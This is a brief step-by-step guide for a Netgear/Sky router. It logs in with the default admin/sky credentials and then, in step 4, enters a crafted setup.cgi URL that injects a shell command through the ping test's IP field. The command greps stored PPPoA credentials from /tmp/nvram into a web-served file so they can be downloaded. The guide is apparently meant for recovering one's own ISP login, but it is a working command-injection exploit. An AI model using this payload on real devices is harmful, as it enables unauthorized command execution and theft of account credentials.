1. Open a browser like Internet Explorer
2. Type http://192.168.0.1 at the top in the address bar
3. Enter admin/sky for the username and password
4. Type http:// 192.168.0.1setup.cgi?todo=ping_test&c4_IPAddr=%26/bin/grep+ppoa_+/tmp/nvram+%3E+/www/netgear.cfg
5. Press enter
6. Then type: http:// 192.168.0.1/netgear.cfg
7. Save the file, best to save it to your desktop called netgear.cfg
8. Open the file with notepad and search for @ you should find your username
and password in this file